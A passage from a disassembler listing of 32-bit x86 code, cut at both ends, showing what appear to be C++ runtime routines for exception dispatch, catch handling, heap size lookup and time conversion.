dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4E158C, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_42183E and byte_4E158C, 0 add esp, 10h retn sub_421ABB endp ; =============== S U B R O U T I N E ======================================= sub_421AE2 proc near ; CODE XREF: sub_421A20+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4E158C, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421942 and byte_4E158C, 0 add esp, 0Ch retn sub_421AE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421B05 proc near ; DATA XREF: sub_41CE00o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421B40 cmp [ebp+arg_8], 45h jz short loc_421B40 cmp [ebp+arg_8], 66h jnz short loc_421B2D push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421942 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421B2D: ; CODE XREF: sub_421B05+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421A20 jmp short loc_421B51 ; --------------------------------------------------------------------------- loc_421B40: ; CODE XREF: sub_421B05+7j ; sub_421B05+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42183E loc_421B51: ; CODE XREF: sub_421B05+39j add esp, 10h pop ebp retn sub_421B05 endp ; =============== S U B R O U T I N E ======================================= sub_421B56 proc near ; CODE XREF: sub_42183E+2Cp ; sub_421942+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421B79 push esi mov esi, [esp+8+arg_0] push esi call sub_41B890 inc eax push eax push esi add esi, edi push esi call sub_41D330 add esp, 10h pop esi loc_421B79: ; CODE XREF: sub_421B56+7j pop edi retn sub_421B56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421B7B proc near ; CODE XREF: .nsp0:0041CFE0p ; sub_41D049+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421B91 call sub_422422 loc_421B91: ; CODE XREF: sub_421B7B+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421BB9 cmp dword ptr [esi+4], 0 jz short loc_421C0F cmp [ebp+arg_14], 0 jnz short loc_421C0F push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_421EC2 add esp, 10h jmp short loc_421C0F ; --------------------------------------------------------------------------- loc_421BB9: ; CODE XREF: sub_421B7B+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421C0F cmp dword ptr [eax], 0E06D7363h jnz short loc_421BF3 cmp [eax+14h], edi jbe short loc_421BF3 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421BF3 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421C12 ; --------------------------------------------------------------------------- loc_421BF3: ; CODE XREF: sub_421B7B+4Aj ; sub_421B7B+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421C16 add esp, 20h loc_421C0F: ; CODE XREF: sub_421B7B+23j ; sub_421B7B+29j ... push 1 pop eax loc_421C12: ; CODE XREF: sub_421B7B+76j pop edi pop esi pop ebp retn sub_421B7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C16 proc near ; CODE XREF: sub_421B7B+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421C36 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421C3B loc_421C36: ; CODE XREF: sub_421C16+16j call sub_422422 loc_421C3B: ; CODE XREF: sub_421C16+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421D92 cmp dword ptr [esi+10h], 3 jnz short loc_421CAF cmp [esi+14h], edi jnz short loc_421CAF cmp dword ptr [esi+1Ch], 0 jnz short loc_421CAF mov esi, dword_4E1598 test esi, esi jz loc_421D8D mov eax, dword_4E159C push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_4245D0 pop ecx test eax, eax pop ecx jnz short loc_421C91 call sub_422422 loc_421C91: ; CODE XREF: sub_421C16+74j cmp [esi], ebx jnz loc_421D92 cmp dword ptr [esi+10h], 3 jnz short loc_421CAF cmp [esi+14h], edi jnz short loc_421CAF cmp dword ptr [esi+1Ch], 0 jnz short loc_421CAF call sub_422422 loc_421CAF: ; CODE XREF: sub_421C16+41j ; sub_421C16+46j ... cmp [esi], ebx jnz loc_421D92 cmp dword ptr [esi+10h], 3 jnz loc_421D92 cmp [esi+14h], edi jnz loc_421D92 mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D197 add esp, 14h mov ebx, eax loc_421CE6: ; CODE XREF: sub_421C16+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421D7D cmp [ebx], edi jg short loc_421D72 cmp edi, [ebx+4] jg short loc_421D72 mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421D6F loc_421D0B: ; CODE XREF: sub_421C16+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421D3C loc_421D1D: ; CODE XREF: sub_421C16+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_421E65 add esp, 0Ch test eax, eax jnz short loc_421D4B dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421D1D loc_421D3C: ; CODE XREF: sub_421C16+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421D0B jmp short loc_421D6F ; --------------------------------------------------------------------------- loc_421D4B: ; CODE XREF: sub_421C16+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F76 add esp, 2Ch loc_421D6F: ; CODE XREF: sub_421C16+F3j ; sub_421C16+133j mov edi, [ebp+var_10] loc_421D72: ; CODE XREF: sub_421C16+DEj ; sub_421C16+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421CE6 ; --------------------------------------------------------------------------- loc_421D7D: ; CODE XREF: sub_421C16+D6j cmp [ebp+arg_14], 0 jz short loc_421D8D push 1 push esi call sub_4222EB pop ecx pop ecx loc_421D8D: ; CODE XREF: sub_421C16+56j ; sub_421C16+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421D92: ; CODE XREF: sub_421C16+37j ; sub_421C16+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421DB8 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421DBD add esp, 20h jmp short loc_421D8D ; --------------------------------------------------------------------------- loc_421DB8: ; CODE XREF: sub_421C16+180j jmp sub_4223CC sub_421C16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DBD proc near ; CODE XREF: sub_421C16+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4E15A0, 0 push esi push edi jz short loc_421DEE push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D06E add esp, 1Ch test eax, eax jnz short loc_421E61 loc_421DEE: ; CODE XREF: sub_421DBD+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D197 add esp, 14h mov esi, eax loc_421E0A: ; CODE XREF: sub_421DBD+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421E61 cmp edi, [esi] jl short loc_421E59 cmp edi, [esi+4] jg short loc_421E59 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421E33 cmp byte ptr [ecx+8], 0 jnz short loc_421E59 loc_421E33: ; CODE XREF: sub_421DBD+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_421F76 add esp, 2Ch loc_421E59: ; CODE XREF: sub_421DBD+57j ; sub_421DBD+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421E0A ; --------------------------------------------------------------------------- loc_421E61: ; CODE XREF: sub_421DBD+2Fj ; sub_421DBD+53j pop edi pop esi leave retn sub_421DBD endp ; =============== S U B R O U T I N E ======================================= sub_421E65 proc near ; CODE XREF: sub_421C16+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_421EBC cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_421EBC mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_421E96 add ecx, 8 push ecx push edx call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_421EB8 loc_421E96: ; CODE XREF: sub_421E65+1Fj test byte ptr [esi], 2 jz short loc_421EA0 test byte ptr [edi], 8 jz short loc_421EB8 loc_421EA0: ; CODE XREF: sub_421E65+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_421EAF test byte ptr [edi], 1 jz short loc_421EB8 loc_421EAF: ; CODE XREF: sub_421E65+43j test al, 2 jz short loc_421EBC test byte ptr [edi], 2 jnz short loc_421EBC loc_421EB8: ; CODE XREF: sub_421E65+2Fj ; sub_421E65+39j ... xor eax, eax jmp short loc_421EBF ; --------------------------------------------------------------------------- loc_421EBC: ; CODE XREF: sub_421E65+Bj ; sub_421E65+14j ... push 1 pop eax loc_421EBF: ; CODE XREF: sub_421E65+55j pop edi pop esi retn sub_421E65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EC2 proc near ; CODE XREF: sub_421B7B+34p ; sub_421F76+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278A0 push offset sub_4233D4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_421EF4: ; CODE XREF: sub_421EC2+8Aj cmp esi, [ebp+arg_C] jz short loc_421F4E cmp esi, 0FFFFFFFFh jle short loc_421F03 cmp esi, [edi+4] jl short loc_421F08 loc_421F03: ; CODE XREF: sub_421EC2+3Aj call sub_422422 loc_421F08: ; CODE XREF: sub_421EC2+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_421F23 push 103h push ebx push eax call sub_422380 loc_421F23: ; CODE XREF: sub_421EC2+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_421F43 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_421F60 pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_421F43: ; CODE XREF: sub_421EC2+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_421EF4 ; --------------------------------------------------------------------------- loc_421F4E: ; CODE XREF: sub_421EC2+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_421EC2 endp ; =============== S U B R O U T I N E ======================================= sub_421F60 proc near ; CODE XREF: sub_421EC2+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_421F71 xor eax, eax retn ; --------------------------------------------------------------------------- loc_421F71: ; CODE XREF: sub_421F60+Cj jmp sub_4223CC sub_421F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F76 proc near ; CODE XREF: sub_421C16+151p ; sub_421DBD+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_421F98 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_422127 add esp, 10h loc_421F98: ; CODE XREF: sub_421F76+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_421FA4 push edi jmp short loc_421FA7 ; --------------------------------------------------------------------------- loc_421FA4: ; CODE XREF: sub_421F76+29j push [ebp+arg_24] loc_421FA7: ; CODE XREF: sub_421F76+2Cj call sub_41CF70 mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_421EC2 mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_421FF1 add esp, 2Ch test eax, eax jz short loc_421FEC push edi push eax call sub_41CF2E loc_421FEC: ; CODE XREF: sub_421F76+6Dj pop edi pop esi pop ebx pop ebp retn sub_421F76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421FF1 proc near ; CODE XREF: sub_421F76+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278B0 push offset sub_4233D4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4E1598 mov [ebp+var_1C], ecx mov ecx, dword_4E159C mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4E1598, edi mov ecx, [ebp+arg_8] mov dword_4E159C, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41CFF5 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_4220B7 mov eax, [ebp+var_2C] loc_42207E: ; CODE XREF: sub_422097+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_421FF1 endp ; =============== S U B R O U T I N E ======================================= sub_42208D proc near ; DATA XREF: .nsp0:004278C0o push dword ptr [ebp-14h] call sub_4220FD pop ecx retn sub_42208D endp ; =============== S U B R O U T I N E ======================================= sub_422097 proc near ; DATA XREF: .nsp0:004278C4o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41D256 pop ecx pop ecx xor eax, eax jmp short loc_42207E sub_422097 endp ; --------------------------------------------------------------------------- loc_4220AF: ; DATA XREF: .nsp0:004278B8o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_4220B7 proc near ; CODE XREF: sub_421FF1+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4E1598, eax mov eax, [ebp-20h] mov dword_4E159C, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_4220FC cmp dword ptr [edi+10h], 3 jnz short locret_4220FC cmp dword ptr [edi+14h], 19930520h jnz short locret_4220FC cmp [ebp-24h], ebx jnz short locret_4220FC cmp [ebp-2Ch], ebx jz short locret_4220FC call sub_41D2BE push eax push edi call sub_4222EB pop ecx pop ecx locret_4220FC: ; CODE XREF: sub_4220B7+1Cj ; sub_4220B7+22j ... retn sub_4220B7 endp ; =============== S U B R O U T I N E ======================================= sub_4220FD proc near ; CODE XREF: sub_42208D+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_422124 cmp dword ptr [eax+10h], 3 jnz short loc_422124 cmp dword ptr [eax+14h], 19930520h jnz short loc_422124 cmp dword ptr [eax+1Ch], 0 jnz short loc_422124 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422124: ; CODE XREF: sub_4220FD+Cj ; sub_4220FD+12j ... xor eax, eax retn sub_4220FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422127 proc near ; CODE XREF: sub_421F76+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4233D4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_4222D0 cmp byte ptr [eax+8], 0 jz loc_4222D0 mov eax, [ecx+8] test eax, eax jz loc_4222D0 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_4221C4 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_4245D0 pop ecx pop ecx test eax, eax jz loc_4222C7 push 1 push edi call sub_4245EC pop ecx pop ecx test eax, eax jz loc_4222C7 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_4221B5: ; CODE XREF: sub_422127+F5j push eax call sub_422352 pop ecx pop ecx mov [edi], eax jmp loc_4222CC ; --------------------------------------------------------------------------- loc_4221C4: ; CODE XREF: sub_422127+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_42221E mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_4245D0 pop ecx pop ecx test eax, eax jz loc_4222C7 push 1 push edi call sub_4245EC pop ecx pop ecx test eax, eax jz loc_4222C7 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_41D330 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_4222CC mov eax, [edi] test eax, eax jz loc_4222CC add esi, 8 push esi jmp short loc_4221B5 ; --------------------------------------------------------------------------- loc_42221E: ; CODE XREF: sub_422127+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_422266 call sub_4245D0 pop ecx pop ecx test eax, eax jz loc_4222C7 push 1 push edi call sub_4245EC pop ecx pop ecx test eax, eax jz short loc_4222C7 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_422352 pop ecx pop ecx push eax push edi call sub_41D330 add esp, 0Ch jmp short loc_4222CC ; --------------------------------------------------------------------------- loc_422266: ; CODE XREF: sub_422127+103j call sub_4245D0 pop ecx pop ecx test eax, eax jz short loc_4222C7 push 1 push edi call sub_4245EC pop ecx pop ecx test eax, eax jz short loc_4222C7 push dword ptr [esi+18h] call sub_424608 pop ecx test eax, eax jz short loc_4222C7 test byte ptr [esi], 4 jz short loc_4222AD push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422352 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41CF69 jmp short loc_4222CC ; --------------------------------------------------------------------------- loc_4222AD: ; CODE XREF: sub_422127+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_422352 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41CF62 jmp short loc_4222CC ; --------------------------------------------------------------------------- loc_4222C7: ; CODE XREF: sub_422127+6Aj ; sub_422127+7Cj ... call sub_422422 loc_4222CC: ; CODE XREF: sub_422127+98j ; sub_422127+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_4222D0: ; CODE XREF: sub_422127+2Ej ; sub_422127+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422127 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_4223CC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222EB proc near ; CODE XREF: sub_421C16+170p ; sub_4220B7+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4233D4 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_422332 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_422332 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_41CF62 or [ebp+var_4], 0FFFFFFFFh loc_422332: ; CODE XREF: sub_4222EB+2Aj ; sub_4222EB+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4222EB endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_4223CC ; =============== S U B R O U T I N E ======================================= sub_422352 proc near ; CODE XREF: sub_422127+8Fp ; sub_422127+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_422373 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_422373: ; CODE XREF: sub_422352+12j pop esi retn sub_422352 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422380 proc near ; CODE XREF: sub_41CFF5+40p ; sub_421EC2+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41D2E1 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_4223BF mov ecx, 2 loc_4223BF: ; CODE XREF: sub_422380+38j push ecx call sub_41D2E1 pop ebp pop ecx pop ebx leave retn 0Ch sub_422380 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4223CC proc near ; CODE XREF: sub_421C16:loc_421DB8j ; sub_421F60:loc_421F71j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424620 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278E8 push offset sub_4233D4 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_4E15A4 test eax, eax jz short loc_422414 mov [ebp+var_4], 1 call eax ; dword_4E15A4 jmp short loc_422410 ; --------------------------------------------------------------------------- loc_422409: ; DATA XREF: .nsp0:004278F8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_42240D: ; DATA XREF: .nsp0:004278FCo mov esp, [ebp+var_18] loc_422410: ; CODE XREF: sub_4223CC+3Bj and [ebp+var_4], 0 loc_422414: ; CODE XREF: sub_4223CC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_42241D: ; DATA XREF: .nsp0:004278F0o jmp loc_424620 sub_4223CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422422 proc near ; CODE XREF: sub_41D197+23p ; sub_41D197:loc_41D202p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427900 push offset sub_4233D4 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_442B34 test eax, eax jz short loc_42246A mov [ebp+var_4], 1 call eax ; sub_4223CC jmp short loc_422466 ; --------------------------------------------------------------------------- loc_42245F: ; DATA XREF: .nsp0:00427910o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422463: ; DATA XREF: .nsp0:00427914o mov esp, [ebp+var_18] loc_422466: ; CODE XREF: sub_422422+3Bj and [ebp+var_4], 0 loc_42246A: ; CODE XREF: sub_422422+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_422473: ; DATA XREF: .nsp0:00427908o jmp sub_4223CC sub_422422 endp ; =============== S U B R O U T I N E ======================================= sub_422478 proc near ; CODE XREF: sub_41D673+7p ; sub_41D673+26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_41E3A7 test eax, eax pop ecx jz short loc_422490 mov eax, [esi-4] pop esi sub eax, 9 retn ; --------------------------------------------------------------------------- loc_422490: ; CODE XREF: sub_422478+Ej push esi push 0 push dword_4E2B80 call dword_427058 ; RtlSizeHeap pop esi retn sub_422478 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4224A1 proc near ; CODE XREF: sub_41D721+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_42255D cmp ebx, 8Ah jg loc_42255D push esi push edi mov edi, [ebp+arg_4] mov esi, dword_442FFC[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_4224E0 cmp edi, 2 jle short loc_4224E0 inc esi loc_4224E0: ; CODE XREF: sub_4224A1+37j ; sub_4224A1+3Cj call sub_424637 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_442F18 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_422553 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_422559 cmp dword_442F1C, 0 jz short loc_422559 lea eax, 